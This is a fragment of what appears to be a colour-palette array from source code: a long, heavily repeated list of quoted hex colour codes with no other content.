"#C0B9B2", "#C2FF99", "#001E09","#00489C", "#6F0062", "#0CBD66", "#EEC3FF", "#456D75", "#B77B68", "#7A87A1", "#788D66","#885578", "#FAD09F", "#FF8A9A", "#D157A0", "#BEC459", "#456648", "#0086ED", "#886F4C",
"#34362D", "#B4A8BD", "#00A6AA", "#452C2C", "#636375", "#A3C8C9", "#FF913F", "#938A81","#575329", "#00FECF", "#B05B6F", "#8CD0FF", "#3B9700", "#04F757", "#C8A1A1", "#1E6E00","#7900D7", "#A77500", "#6367A9", "#A05837", "#6B002C", "#772600", "#D790FF", "#9B9700","#549E79", "#FFF69F", "#201625", "#72418F", "#BC23FF", "#99ADC0", "#3A2465", "#922329","#5B4534", "#FDE8DC", "#404E55", "#0089A3", "#CB7E98", "#A4E804", "#324E72", "#6A3A4C","#83AB58", "#001C1E", "#D1F7CE", "#004B28", "#C8D0F6", "#A3A489", "#806C66", "#222800","#BF5650", "#E83000", "#66796D", "#DA007C", "#FF1A59", "#8ADBB4", "#1E0200", "#5B4E51",
"#C895C5", "#320033", "#FF6832", "#66E1D3", "#CFCDAC", "#D0AC94", "#7ED379", "#012C58","#7A7BFF", "#D68E01", "#353339", "#78AFA1", "#FEB2C6", "#75797C", "#837393", "#943A4D","#B5F4FF", "#D2DCD5", "#9556BD", "#6A714A", "#001325", "#02525F", "#0AA3F7", "#E98176","#DBD5DD", "#5EBCD1", "#3D4F44", "#7E6405", "#02684E", "#962B75", "#8D8546", "#9695C5","#E773CE", "#D86A78", "#3E89BE", "#CA834E", "#518A87", "#5B113C", "#55813B", "#E704C4","#00005F", "#A97399", "#4B8160", "#59738A", "#FF5DA7", "#F7C9BF", "#643127", "#513A01","#6B94AA", "#51A058", "#A45B02", "#1D1702", "#E20027", "#E7AB63", "#4C6001", "#9C6966","#64547B", "#97979E", "#006A66", "#391406", "#F4D749", "#0045D2", "#006C31", "#DDB6D0",
"#7C6571", "#9FB2A4", "#00D891", "#15A08A", "#BC65E9", "#FFFFFE", "#C6DC99", "#203B3C","#671190", "#6B3A64", "#F5E1FF", "#FFA0F2", "#CCAA35", "#374527", "#8BB400", "#797868","#C6005A", "#3B000A", "#C86240", "#29607C", "#402334", "#7D5A44", "#CCB87C", "#B88183","#AA5199", "#B5D6C3", "#A38469", "#9F94F0", "#A74571", "#B894A6", "#71BB8C", "#00B433","#789EC9", "#6D80BA", "#953F00", "#5EFF03", "#E4FFFC", "#1BE177", "#BCB1E5", "#76912F","#003109", "#0060CD", "#D20096", "#895563", "#29201D", "#5B3213", "#A76F42", "#89412E","#1A3A2A", "#494B5A", "#A88C85", "#F4ABAA", "#A3F3AB", "#00C6C8", "#EA8B66", "#958A9F","#BDC9D2", "#9FA064", "#BE4700", "#658188", "#83A485", "#453C23", "#47675D", "#3A3F00",
"#061203", "#DFFB71", "#868E7E", "#98D058", "#6C8F7D", "#D7BFC2", "#3C3E6E", "#D83D66","#2F5D9B", "#6C5E46", "#D25B88", "#5B656C", "#00B57F", "#545C46", "#866097", "#365D25","#252F99", "#00CCFF", "#674E60", "#FC009C", "#92896B",'#5e4fa2', '#3288bd', '#66c2a5', '#abdda4', '#e6f598', '#ffffbf', '#fee08b', '#fdae61','#f46d43', '#d53e4f', '#9e0142','#8dd3c7', '#ffffb3', '#bebada', '#fb8072', '#80b1d3', '#fdb462', '#b3de69', '#fccde5','#d9d9d9','#bc80bd', '#ccebc5', '#ffed6f','#66c2a5', '#fc8d62', '#8da0cb', '#e78ac3', '#a6d854', '#ffd92f', '#e5c494', '#b3b3b3','#1b9e77', '#d95f02', '#7570b3', '#e7298a', '#66a61e', '#e6ab02', '#a6761d', '#666666','#bc9797', '#a0db8e', '#d69ce1', '#caffcd', '#ffcaf8', '#cafff7', '#f1b4b2', '#030449',
'#003366', '#dec9ab', '#d25757', '#f7d708','#1c29b5', '#b0c997', '#005555', '#f9c3d3', '#0f4c81', '#edc06a', '#bd5915', '#b097c9', '#c2002c', '#808080', '#feff97', '#fd81eb', '#8fb8ff', '#bdffa3', '#ffb5b5', '#0f4c81', '#d7d8ee','#73c7de','#aaaacc','#758eb7', '#f2b6ae', '#f0a890', '#a860a8', '#604890', '#f07878', '#443133', '#ffdecc', '#65bfc1','#ffad19', '#ff9e7d', '#dda97b','#a1b1cc','#d6a562','#c9a48f','#c7906d','#f9733e', '#ffc104', '#624a4c', '#c1b8c9',"#FFFF00", "#1CE6FF", "#FF34FF", "#FF4A46", "#008941", "#006FA6", "#A30059","#FFDBE5", "#7A4900", "#0000A6", "#63FFAC", "#B79762", "#004D43", "#8FB0FF", "#997D87","#5A0007", "#809693", "#FEFFE6", "#1B4400", "#4FC601", "#3B5DFF", "#4A3B53", "#FF2F80",
"#61615A", "#BA0900", "#6B7900", "#00C2A0", "#FFAA92", "#FF90C9", "#B903AA", "#D16100","#DDEFFF", "#000035", "#7B4F4B", "#A1C299", "#300018", "#0AA6D8", "#013349", "#00846F","#372101", "#FFB500", "#C2FFED", "#A079BF", "#CC0744", "#C0B9B2", "#C2FF99", "#001E09","#00489C", "#6F0062", "#0CBD66", "#EEC3FF", "#456D75", "#B77B68", "#7A87A1", "#788D66","#885578", "#FAD09F", "#FF8A9A", "#D157A0", "#BEC459", "#456648", "#0086ED", "#886F4C","#34362D", "#B4A8BD", "#00A6AA", "#452C2C", "#636375", "#A3C8C9", "#FF913F", "#938A81","#575329", "#00FECF", "#B05B6F", "#8CD0FF", "#3B9700", "#04F757", "#C8A1A1", "#1E6E00","#7900D7", "#A77500", "#6367A9", "#A05837", "#6B002C", "#772600", "#D790FF", "#9B9700",
"#549E79", "#FFF69F", "#201625", "#72418F", "#BC23FF", "#99ADC0", "#3A2465", "#922329","#5B4534", "#FDE8DC", "#404E55", "#0089A3", "#CB7E98", "#A4E804", "#324E72", "#6A3A4C","#83AB58", "#001C1E", "#D1F7CE", "#004B28", "#C8D0F6", "#A3A489", "#806C66", "#222800","#BF5650", "#E83000", "#66796D", "#DA007C", "#FF1A59", "#8ADBB4", "#1E0200", "#5B4E51","#C895C5", "#320033", "#FF6832", "#66E1D3", "#CFCDAC", "#D0AC94", "#7ED379", "#012C58","#7A7BFF", "#D68E01", "#353339", "#78AFA1", "#FEB2C6", "#75797C", "#837393", "#943A4D","#B5F4FF", "#D2DCD5", "#9556BD", "#6A714A", "#001325", "#02525F", "#0AA3F7", "#E98176","#DBD5DD", "#5EBCD1", "#3D4F44", "#7E6405", "#02684E", "#962B75", "#8D8546", "#9695C5",
"#E773CE", "#D86A78", "#3E89BE", "#CA834E", "#518A87", "#5B113C", "#55813B", "#E704C4","#00005F", "#A97399", "#4B8160", "#59738A", "#FF5DA7", "#F7C9BF", "#643127", "#513A01","#6B94AA", "#51A058", "#A45B02", "#1D1702", "#E20027", "#E7AB63", "#4C6001", "#9C6966","#64547B", "#97979E", "#006A66", "#391406", "#F4D749", "#0045D2", "#006C31", "#DDB6D0","#7C6571", "#9FB2A4", "#00D891", "#15A08A", "#BC65E9", "#FFFFFE", "#C6DC99", "#203B3C","#671190", "#6B3A64", "#F5E1FF", "#FFA0F2", "#CCAA35", "#374527", "#8BB400", "#797868","#C6005A", "#3B000A", "#C86240", "#29607C", "#402334", "#7D5A44", "#CCB87C", "#B88183","#AA5199", "#B5D6C3", "#A38469", "#9F94F0", "#A74571", "#B894A6", "#71BB8C", "#00B433","#789EC9", "#6D80BA", "#953F00", "#5EFF03", "#E4FFFC", "#1BE177", "#BCB1E5", "#76912F","#003109", "#0060CD", "#D20096", "#895563", "#29201D", "#5B3213", "#A76F42", "#89412E",
"#1A3A2A", "#494B5A", "#A88C85", "#F4ABAA", "#A3F3AB", "#00C6C8", "#EA8B66", "#958A9F","#BDC9D2", "#9FA064", "#BE4700", "#658188", "#83A485", "#453C23", "#47675D", "#3A3F00","#061203", "#DFFB71", "#868E7E", "#98D058", "#6C8F7D", "#D7BFC2", "#3C3E6E", "#D83D66","#2F5D9B", "#6C5E46", "#D25B88", "#5B656C", "#00B57F", "#545C46", "#866097", "#365D25","#252F99", "#00CCFF", "#674E60", "#FC009C", "#92896B",'#5e4fa2', '#3288bd', '#66c2a5', '#abdda4', '#e6f598', '#ffffbf', '#fee08b', '#fdae61', '#f46d43', '#d53e4f', '#9e0142','#003366', '#dec9ab', '#d25757', '#f7d708','#1c29b5', '#b0c997', '#005555', '#f9c3d3', '#0f4c81', '#edc06a', '#bd5915', '#b097c9', '#c2002c', '#808080', '#66c2a5', '#fc8d62', '#8da0cb', '#e78ac3', '#a6d854', '#ffd92f', '#e5c494', '#b3b3b3','#1b9e77', '#d95f02', '#7570b3', '#e7298a', '#66a61e', '#e6ab02', '#a6761d', '#666666','#8dd3c7', '#ffffb3', '#bebada', '#fb8072', '#80b1d3', '#fdb462', '#b3de69', '#fccde5', '#d9d9d9','#bc80bd', '#ccebc5', '#ffed6f',
'#bc9797', '#a0db8e', '#d69ce1', '#caffcd', '#ffcaf8', '#cafff7', '#f1b4b2', '#030449', '#feff97', '#fd81eb', '#8fb8ff', '#bdffa3', '#ffb5b5', '#0f4c81', '#d7d8ee','#73c7de','#aaaacc','#758eb7', '#f2b6ae', '#f0a890', '#a860a8', '#604890', '#f07878', '#443133', '#ffdecc', '#65bfc1','#ffad19', '#ff9e7d', '#dda97b','#a1b1cc','#d6a562','#c9a48f','#c7906d','#f9733e', '#ffc104', '#624a4c', '#c1b8c9',"#FFFF00", "#1CE6FF", "#FF34FF", "#FF4A46", "#008941", "#006FA6", "#A30059","#FFDBE5", "#7A4900", "#0000A6", "#63FFAC", "#B79762", "#004D43", "#8FB0FF", "#997D87","#5A0007", "#809693", "#FEFFE6", "#1B4400", "#4FC601", "#3B5DFF", "#4A3B53", "#FF2F80","#61615A", "#BA0900", "#6B7900", "#00C2A0", "#FFAA92", "#FF90C9", "#B903AA", "#D16100","#DDEFFF", "#000035", "#7B4F4B", "#A1C299", "#300018", "#0AA6D8", "#013349", "#00846F","#372101", "#FFB500", "#C2FFED", "#A079BF", "#CC0744", "#C0B9B2", "#C2FF99", "#001E09","#00489C", "#6F0062", "#0CBD66", "#EEC3FF", "#456D75", "#B77B68", "#7A87A1", "#788D66",
"#885578", "#FAD09F", "#FF8A9A", "#D157A0", "#BEC459", "#456648", "#0086ED", "#886F4C","#34362D", "#B4A8BD", "#00A6AA", "#452C2C", "#636375", "#A3C8C9", "#FF913F", "#938A81","#575329", "#00FECF", "#B05B6F", "#8CD0FF", "#3B9700", "#04F757", "#C8A1A1", "#1E6E00","#7900D7", "#A77500", "#6367A9", "#A05837", "#6B002C", "#772600", "#D790FF", "#9B9700","#549E79", "#FFF69F", "#201625", "#72418F", "#BC23FF", "#99ADC0", "#3A2465", "#922329", "#5B4534", "#FDE8DC", "#404E55", "#0089A3", "#CB7E98", "#A4E804", "#324E72", "#6A3A4C","#83AB58", "#001C1E", "#D1F7CE", "#004B28", "#C8D0F6", "#A3A489", "#806C66", "#222800","#BF5650", "#E83000", "#66796D", "#DA007C", "#FF1A59", "#8ADBB4", "#1E0200", "#5B4E51",
"#C895C5", "#320033", "#FF6832", "#66E1D3", "#CFCDAC", "#D0AC94", "#7ED379", "#012C58","#7A7BFF", "#D68E01", "#353339", "#78AFA1", "#FEB2C6", "#75797C", "#837393", "#943A4D","#B5F4FF", "#D2DCD5", "#9556BD", "#6A714A", "#001325", "#02525F", "#0AA3F7", "#E98176","#DBD5DD", "#5EBCD1", "#3D4F44", "#7E6405", "#02684E", "#962B75", "#8D8546", "#9695C5","#E773CE", "#D86A78", "#3E89BE", "#CA834E", "#518A87", "#5B113C", "#55813B", "#E704C4","#00005F", "#A97399", "#4B8160", "#59738A", "#FF5DA7", "#F7C9BF", "#643127", "#513A01","#6B94AA", "#51A058", "#A45B02", "#1D1702", "#E20027", "#E7AB63", "#4C6001", "#9C6966","#64547B", "#97979E", "#006A66", "#391406", "#F4D749", "#0045D2", "#006C31", "#DDB6D0",
"#7C6571", "#9FB2A4", "#00D891", "#15A08A", "#BC65E9", "#FFFFFE", "#C6DC99", "#203B3C","#671190", "#6B3A64", "#F5E1FF", "#FFA0F2", "#CCAA35", "#374527", "#8BB400", "#797868","#C6005A", "#3B000A", "#C86240", "#29607C", "#402334", "#7D5A44", "#CCB87C", "#B88183","#AA5199", "#B5D6C3", "#A38469", "#9F94F0", "#A74571", "#B894A6", "#71BB8C", "#00B433","#789EC9", "#6D80BA", "#953F00", "#5EFF03", "#E4FFFC", "#1BE177", "#BCB1E5", "#76912F","#003109", "#0060CD", "#D20096", "#895563", "#29201D", "#5B3213", "#A76F42", "#89412E","#1A3A2A", "#494B5A", "#A88C85", "#F4ABAA", "#A3F3AB", "#00C6C8", "#EA8B66", "#958A9F", "#BDC9D2", "#9FA064", "#BE4700", "#658188", "#83A485", "#453C23", "#47675D", "#3A3F00",
"#061203", "#DFFB71", "#868E7E", "#98D058", "#6C8F7D", "#D7BFC2", "#3C3E6E", "#D83D66","#2F5D9B", "#6C5E46", "#D25B88", "#5B656C", "#00B57F", "#545C46", "#866097", "#365D25","#252F99", "#00CCFF", "#674E60", "#FC009C", "#92896B",
'#5e4fa2', '#3288bd', '#66c2a5', '#abdda4', '#e6f598', '#ffffbf', '#fee08b', '#fdae61', '#f46d43', '#d53e4f', '#9e0142','#003366', '#dec9ab', '#d25757', '#f7d708','#1c29b5', '#b0c997', '#005555', '#f9c3d3', '#0f4c81','#edc06a', '#bd5915', '#b097c9', '#c2002c', '#808080', '#66c2a5', '#fc8d62', '#8da0cb', '#e78ac3', '#a6d854', '#ffd92f', '#e5c494', '#b3b3b3','#1b9e77', '#d95f02', '#7570b3', '#e7298a', '#66a61e', '#e6ab02', '#a6761d', '#666666','#8dd3c7', '#ffffb3', '#bebada', '#fb8072', '#80b1d3', '#fdb462', '#b3de69', '#fccde5','#d9d9d9','#bc80bd', '#ccebc5', '#ffed6f', '#bc9797', '#a0db8e', '#d69ce1', '#caffcd', '#ffcaf8', '#cafff7', '#f1b4b2', '#030449',
'#feff97', '#fd81eb', '#8fb8ff', '#bdffa3', '#ffb5b5', '#0f4c81', '#d7d8ee','#73c7de','#aaaacc','#758eb7', '#f2b6ae', '#f0a890', '#a860a8', '#604890', '#f07878', '#443133', '#ffdecc', '#65bfc1','#ffad19', '#ff9e7d', '#dda97b','#a1b1cc','#d6a562','#c9a48f','#c7906d','#f9733e','#ffc104', '#624a4c', '#c1b8c9', "#FFFF00", "#1CE6FF", "#FF34FF", "#FF4A46", "#008941", "#006FA6", "#A30059","#FFDBE5", "#7A4900", "#0000A6", "#63FFAC", "#B79762", "#004D43", "#8FB0FF", "#997D87","#5A0007", "#809693", "#FEFFE6", "#1B4400", "#4FC601", "#3B5DFF", "#4A3B53", "#FF2F80","#61615A", "#BA0900", "#6B7900", "#00C2A0", "#FFAA92", "#FF90C9", "#B903AA", "#D16100","#DDEFFF", "#000035", "#7B4F4B", "#A1C299", "#300018", "#0AA6D8", "#013349", "#00846F","#372101", "#FFB500", "#C2FFED", "#A079BF", "#CC0744", "#C0B9B2", "#C2FF99", "#001E09","#00489C", "#6F0062", "#0CBD66", "#EEC3FF", "#456D75", "#B77B68", "#7A87A1", "#788D66","#885578", "#FAD09F", "#FF8A9A", "#D157A0", "#BEC459", "#456648", "#0086ED", "#886F4C",
"#34362D", "#B4A8BD", "#00A6AA", "#452C2C", "#636375", "#A3C8C9", "#FF913F", "#938A81","#575329", "#00FECF", "#B05B6F", "#8CD0FF", "#3B9700", "#04F757", "#C8A1A1", "#1E6E00","#7900D7", "#A77500", "#6367A9", "#A05837", "#6B002C", "#772600", "#D790FF", "#9B9700","#549E79", "#FFF69F", "#201625", "#72418F", "#BC23FF", "#99ADC0", "#3A2465", "#922329","#5B4534", "#FDE8DC", "#404E55", "#0089A3", "#CB7E98", "#A4E804", "#324E72", "#6A3A4C","#83AB58", "#001C1E", "#D1F7CE", "#004B28", "#C8D0F6", "#A3A489", "#806C66", "#222800","#BF5650", "#E83000", "#66796D", "#DA007C", "#FF1A59", "#8ADBB4", "#1E0200", "#5B4E51",
"#C895C5", "#320033", "#FF6832", "#66E1D3", "#CFCDAC", "#D0AC94", "#7ED379", "#012C58","#7A7BFF", "#D68E01", "#353339", "#78AFA1", "#FEB2C6", "#75797C", "#837393", "#943A4D","#B5F4FF", "#D2DCD5", "#9556BD", "#6A714A", "#001325", "#02525F", "#0AA3F7", "#E98176","#DBD5DD", "#5EBCD1", "#3D4F44", "#7E6405", "#02684E", "#962B75", "#8D8546", "#9695C5","#E773CE", "#D86A78", "#3E89BE", "#CA834E", "#518A87", "#5B113C", "#55813B", "#E704C4","#00005F", "#A97399", "#4B8160", "#59738A", "#FF5DA7", "#F7C9BF", "#643127", "#513A01","#6B94AA", "#51A058", "#A45B02", "#1D1702", "#E20027", "#E7AB63", "#4C6001", "#9C6966","#64547B", "#97979E", "#006A66", "#391406", "#F4D749", "#0045D2", "#006C31", "#DDB6D0",
"#7C6571", "#9FB2A4", "#00D891", "#15A08A", "#BC65E9", "#FFFFFE", "#C6DC99", "#203B3C","#671190", "#6B3A64", "#F5E1FF", "#FFA0F2", "#CCAA35", "#374527", "#8BB400", "#797868","#C6005A", "#3B000A", "#C86240", "#29607C", "#402334", "#7D5A44", "#CCB87C", "#B88183","#AA5199", "#B5D6C3", "#A38469", "#9F94F0", "#A74571", "#B894A6", "#71BB8C", "#00B433","#789EC9", "#6D80BA", "#953F00", "#5EFF03", "#E4FFFC", "#1BE177", "#BCB1E5", "#76912F","#003109", "#0060CD", "#D20096", "#895563", "#29201D", "#5B3213", "#A76F42", "#89412E","#1A3A2A", "#494B5A", "#A88C85", "#F4ABAA", "#A3F3AB", "#00C6C8", "#EA8B66", "#958A9F","#BDC9D2", "#9FA064", "#BE4700", "#658188", "#83A485", "#453C23", "#47675D", "#3A3F00",
"#061203", "#DFFB71", "#868E7E", "#98D058", "#6C8F7D", "#D7BFC2", "#3C3E6E", "#D83D66","#2F5D9B", "#6C5E46", "#D25B88", "#5B656C", "#00B57F", "#545C46", "#866097", "#365D25","#252F99", "#00CCFF", "#674E60", "#FC009C", "#92896B",'#5e4fa2', '#3288bd', '#66c2a5', '#abdda4', '#e6f598', '#ffffbf', '#fee08b', '#fdae61','#f46d43', '#d53e4f', '#9e0142','#8dd3c7', '#ffffb3', '#bebada', '#fb8072', '#80b1d3', '#fdb462', '#b3de69', '#fccde5','#d9d9d9','#bc80bd', '#ccebc5', '#ffed6f','#66c2a5', '#fc8d62', '#8da0cb', '#e78ac3', '#a6d854', '#ffd92f', '#e5c494', '#b3b3b3','#1b9e77', '#d95f02', '#7570b3', '#e7298a', '#66a61e', '#e6ab02', '#a6761d', '#666666','#bc9797', '#a0db8e', '#d69ce1', '#caffcd', '#ffcaf8', '#cafff7', '#f1b4b2', '#030449',
'#003366', '#dec9ab', '#d25757', '#f7d708','#1c29b5', '#b0c997', '#005555', '#f9c3d3', '#0f4c81', '#edc06a', '#bd5915', '#b097c9', '#c2002c', '#808080', '#feff97', '#fd81eb', '#8fb8ff', '#bdffa3', '#ffb5b5', '#0f4c81', '#d7d8ee','#73c7de','#aaaacc','#758eb7', '#f2b6ae', '#f0a890', '#a860a8', '#604890', '#f07878', '#443133', '#ffdecc', '#65bfc1','#ffad19', '#ff9e7d', '#dda97b','#a1b1cc','#d6a562','#c9a48f','#c7906d','#f9733e', '#ffc104', '#624a4c', '#c1b8c9',"#FFFF00", "#1CE6FF", "#FF34FF", "#FF4A46", "#008941", "#006FA6", "#A30059","#FFDBE5", "#7A4900", "#0000A6", "#63FFAC", "#B79762", "#004D43", "#8FB0FF", "#997D87","#5A0007", "#809693", "#FEFFE6", "#1B4400", "#4FC601", "#3B5DFF", "#4A3B53", "#FF2F80",
"#61615A", "#BA0900", "#6B7900", "#00C2A0", "#FFAA92", "#FF90C9", "#B903AA", "#D16100","#DDEFFF", "#000035", "#7B4F4B", "#A1C299", "#300018", "#0AA6D8", "#013349", "#00846F","#372101", "#FFB500", "#C2FFED", "#A079BF", "#CC0744", "#C0B9B2", "#C2FF99", "#001E09","#00489C", "#6F0062", "#0CBD66", "#EEC3FF", "#456D75", "#B77B68", "#7A87A1", "#788D66","#885578", "#FAD09F", "#FF8A9A", "#D157A0", "#BEC459", "#456648", "#0086ED", "#886F4C","#34362D", "#B4A8BD", "#00A6AA", "#452C2C", "#636375", "#A3C8C9", "#FF913F", "#938A81","#575329", "#00FECF", "#B05B6F", "#8CD0FF", "#3B9700", "#04F757", "#C8A1A1", "#1E6E00","#7900D7", "#A77500", "#6367A9", "#A05837", "#6B002C", "#772600", "#D790FF", "#9B9700",
"#549E79", "#FFF69F", "#201625", "#72418F", "#BC23FF", "#99ADC0", "#3A2465", "#922329","#5B4534", "#FDE8DC", "#404E55", "#0089A3", "#CB7E98", "#A4E804", "#324E72", "#6A3A4C","#83AB58", "#001C1E", "#D1F7CE", "#004B28", "#C8D0F6", "#A3A489", "#806C66", "#222800","#BF5650", "#E83000", "#66796D", "#DA007C", "#FF1A59", "#8ADBB4", "#1E0200", "#5B4E51","#C895C5", "#320033", "#FF6832", "#66E1D3", "#CFCDAC", "#D0AC94", "#7ED379", "#012C58","#7A7BFF", "#D68E01", "#353339", "#78AFA1", "#FEB2C6", "#75797C", "#837393", "#943A4D","#B5F4FF", "#D2DCD5", "#9556BD", "#6A714A", "#001325", "#02525F", "#0AA3F7", "#E98176","#DBD5DD", "#5EBCD1", "#3D4F44", "#7E6405", "#02684E", "#962B75", "#8D8546", "#9695C5",
"#E773CE", "#D86A78", "#3E89BE", "#CA834E", "#518A87", "#5B113C", "#55813B", "#E704C4","#00005F", "#A97399", "#4B8160", "#59738A", "#FF5DA7", "#F7C9BF", "#643127", "#513A01","#6B94AA", "#51A058", "#A45B02", "#1D1702", "#E20027", "#E7AB63", "#4C6001", "#9C6966","#64547B", "#97979E", "#006A66", "#391406", "#F4D749", "#0045D2", "#006C31", "#DDB6D0","#7C6571", "#9FB2A4", "#00D891", "#15A08A", "#BC65E9", "#FFFFFE", "#C6DC99", "#203B3C","#671190", "#6B3A64", "#F5E1FF", "#FFA0F2", "#CCAA35", "#374527", "#8BB400", "#797868","#C6005A", "#3B000A", "#C86240", "#29607C", "#402334", "#7D5A44", "#CCB87C", "#B88183","#AA5199", "#B5D6C3", "#A38469", "#9F94F0", "#A74571", "#B894A6", "#71BB8C", "#00B433","#789EC9", "#6D80BA", "#953F00", "#5EFF03", "#E4FFFC", "#1BE177", "#BCB1E5", "#76912F","#003109", "#0060CD", "#D20096", "#895563", "#29201D", "#5B3213", "#A76F42", "#89412E",
"#1A3A2A", "#494B5A", "#A88C85", "#F4ABAA", "#A3F3AB", "#00C6C8", "#EA8B66", "#958A9F","#BDC9D2", "#9FA064", "#BE4700", "#658188", "#83A485", "#453C23", "#47675D", "#3A3F00","#061203", "#DFFB71", "#868E7E", "#98D058", "#6C8F7D", "#D7BFC2", "#3C3E6E", "#D83D66","#2F5D9B", "#6C5E46", "#D25B88", "#5B656C", "#00B57F", "#545C46", "#866097", "#365D25","#252F99", "#00CCFF", "#674E60", "#FC009C", "#92896B",'#5e4fa2', '#3288bd', '#66c2a5', '#abdda4', '#e6f598', '#ffffbf', '#fee08b', '#fdae61', '#f46d43', '#d53e4f', '#9e0142','#003366', '#dec9ab', '#d25757', '#f7d708','#1c29b5', '#b0c997', '#005555', '#f9c3d3', '#0f4c81', '#edc06a', '#bd5915', '#b097c9', '#c2002c', '#808080', '#66c2a5', '#fc8d62', '#8da0cb', '#e78ac3', '#a6d854', '#ffd92f', '#e5c494', '#b3b3b3','#1b9e77', '#d95f02', '#7570b3', '#e7298a', '#66a61e', '#e6ab02', '#a6761d', '#666666','#8dd3c7', '#ffffb3', '#bebada', '#fb8072', '#80b1d3', '#fdb462', '#b3de69', '#fccde5', '#d9d9d9','#bc80bd', '#ccebc5', '#ffed6f',
'#bc9797', '#a0db8e', '#d69ce1', '#caffcd', '#ffcaf8', '#cafff7', '#f1b4b2', '#030449', '#feff97', '#fd81eb', '#8fb8ff', '#bdffa3', '#ffb5b5', '#0f4c81', '#d7d8ee','#73c7de','#aaaacc','#758eb7', '#f2b6ae', '#f0a890', '#a860a8', '#604890', '#f07878', '#443133', '#ffdecc', '#65bfc1','#ffad19', '#ff9e7d', '#dda97b','#a1b1cc','#d6a562','#c9a48f','#c7906d','#f9733e', '#ffc104', '#624a4c', '#c1b8c9',"#FFFF00", "#1CE6FF", "#FF34FF", "#FF4A46", "#008941", "#006FA6", "#A30059","#FFDBE5", "#7A4900", "#0000A6", "#63FFAC", "#B79762", "#004D43", "#8FB0FF", "#997D87","#5A0007", "#809693", "#FEFFE6", "#1B4400", "#4FC601", "#3B5DFF", "#4A3B53", "#FF2F80","#61615A", "#BA0900", "#6B7900", "#00C2A0", "#FFAA92", "#FF90C9", "#B903AA", "#D16100","#DDEFFF", "#000035", "#7B4F4B", "#A1C299", "#300018", "#0AA6D8", "#013349", "#00846F","#372101", "#FFB500", "#C2FFED", "#A079BF", "#CC0744", "#C0B9B2", "#C2FF99", "#001E09","#00489C", "#6F0062", "#0CBD66", "#EEC3FF", "#456D75", "#B77B68", "#7A87A1", "#788D66",
"#885578", "#FAD09F", "#FF8A9A", "#D157A0", "#BEC459", "#456648", "#0086ED", "#886F4C","#34362D", "#B4A8BD", "#00A6AA", "#452C2C", "#636375", "#A3C8C9", "#FF913F", "#938A81","#575329", "#00FECF", "#B05B6F", "#8CD0FF", "#3B9700", "#04F757", "#C8A1A1", "#1E6E00","#7900D7", "#A77500", "#6367A9", "#A05837", "#6B002C", "#772600", "#D790FF", "#9B9700","#549E79", "#FFF69F", "#201625", "#72418F", "#BC23FF", "#99ADC0", "#3A2465", "#922329", "#5B4534", "#FDE8DC", "#404E55", "#0089A3", "#CB7E98", "#A4E804", "#324E72", "#6A3A4C","#83AB58", "#001C1E", "#D1F7CE", "#004B28", "#C8D0F6", "#A3A489", "#806C66", "#222800","#BF5650", "#E83000", "#66796D", "#DA007C", "#FF1A59", "#8ADBB4", "#1E0200", "#5B4E51",
"#C895C5", "#320033", "#FF6832", "#66E1D3", "#CFCDAC", "#D0AC94", "#7ED379", "#012C58","#7A7BFF", "#D68E01", "#353339", "#78AFA1", "#FEB2C6", "#75797C", "#837393", "#943A4D","#B5F4FF", "#D2DCD5", "#9556BD", "#6A714A", "#001325", "#02525F", "#0AA3F7", "#E98176","#DBD5DD", "#5EBCD1", "#3D4F44", "#7E6405", "#02684E", "#962B75", "#8D8546", "#9695C5","#E773CE", "#D86A78", "#3E89BE", "#CA834E", "#518A87", "#5B113C", "#55813B", "#E704C4","#00005F", "#A97399", "#4B8160", "#59738A", "#FF5DA7", "#F7C9BF", "#643127", "#513A01","#6B94AA", "#51A058", "#A45B02", "#1D1702", "#E20027", "#E7AB63", "#4C6001", "#9C6966","#64547B", "#97979E", "#006A66", "#391406", "#F4D749", "#0045D2", "#006C31", "#DDB6D0",
"#7C6571", "#9FB2A4", "#00D891", "#15A08A", "#BC65E9", "#FFFFFE", "#C6DC99", "#203B3C","#671190", "#6B3A64", "#F5E1FF", "#FFA0F2", "#CCAA35", "#374527", "#8BB400", "#797868","#C6005A", "#3B000A", "#C86240", "#29607C", "#402334", "#7D5A44", "#CCB87C", "#B88183","#AA5199", "#B5D6C3", "#A38469", "#9F94F0", "#A74571", "#B894A6", "#71BB8C", "#00B433","#789EC9", "#6D80BA", "#953F00", "#5EFF03", "#E4FFFC", "#1BE177", "#BCB1E5", "#76912F","#003109", "#0060CD", "#D20096", "#895563", "#29201D", "#5B3213", "#A76F42", "#89412E","#1A3A2A", "#494B5A", "#A88C85", "#F4ABAA", "#A3F3AB", "#00C6C8", "#EA8B66", "#958A9F", "#BDC9D2", "#9FA064", "#BE4700", "#658188", "#83A485", "#453C23", "#47675D", "#3A3F00",
"#061203", "#DFFB71", "#868E7E", "#98D058", "#6C8F7D", "#D7BFC2", "#3C3E6E", "#D83D66","#2F5D9B", "#6C5E46", "#D25B88", "#5B656C", "#00B57F", "#545C46", "#866097", "#365D25","#252F99", "#00CCFF", "#674E60", "#FC009C", "#92896B",
'#5e4fa2', '#3288bd', '#66c2a5', '#abdda4', '#e6f598', '#ffffbf', '#fee08b', '#fdae61', '#f46d43', '#d53e4f', '#9e0142','#003366', '#dec9ab', '#d25757', '#f7d708','#1c29b5', '#b0c997', '#005555', '#f9c3d3', '#0f4c81','#edc06a', '#bd5915', '#b097c9', '#c2002c', '#808080', '#66c2a5', '#fc8d62', '#8da0cb', '#e78ac3', '#a6d854', '#ffd92f', '#e5c494', '#b3b3b3','#1b9e77', '#d95f02', '#7570b3', '#e7298a', '#66a61e', '#e6ab02', '#a6761d', '#666666','#8dd3c7', '#ffffb3', '#bebada', '#fb8072', '#80b1d3', '#fdb462', '#b3de69', '#fccde5','#d9d9d9','#bc80bd', '#ccebc5', '#ffed6f', '#bc9797', '#a0db8e', '#d69ce1', '#caffcd', '#ffcaf8', '#cafff7', '#f1b4b2', '#030449',
